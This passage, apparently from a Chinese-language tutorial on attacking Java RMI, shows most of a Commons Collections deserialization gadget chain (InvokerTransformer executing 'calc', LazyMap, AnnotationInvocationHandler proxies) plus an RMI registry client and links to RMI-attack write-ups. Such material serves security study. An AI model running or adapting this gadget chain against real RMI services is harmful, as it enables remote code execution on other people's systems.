                    new InvokerTransformer("exec",  
                            new Class[]{String.class}, new Object[]{"calc"})});  
            HashMap innermap = new HashMap();  
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");  
            Constructor[] constructors = clazz.getDeclaredConstructors();  
            Constructor constructor = constructors[0];  
            constructor.setAccessible(true);  
            Map map = (Map) constructor.newInstance(innermap, chain);  
  
  
            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);  
            handler_constructor.setAccessible(true);  
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //建立第一個代理的handler  
  
            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //建立proxy物件  
  
  
            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);  
            AnnotationInvocationHandler_Constructor.setAccessible(true);  
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);  
  
        }catch(Exception e){  
            e.printStackTrace();  
        }  
  
        return (Object)handler;  
    }  
}

客戶端進行呼叫

package org.example;  
  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException {  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        stub.hello();  
  
    }  
}

參考:https://su18.org/post/rmi-attack/#2-攻擊-registry-端
參考:https://nivi4.notion.site/Java-RMI-8eae42201b154ecc89455a480bcfc164
參考:https://xz.aliyun.com/t/9053?time__1311=n4%2BxnD0DuAiti%3DGkD9D0x05Sb%2BDOSYKaNTNaTek4D#toc-1

相關文章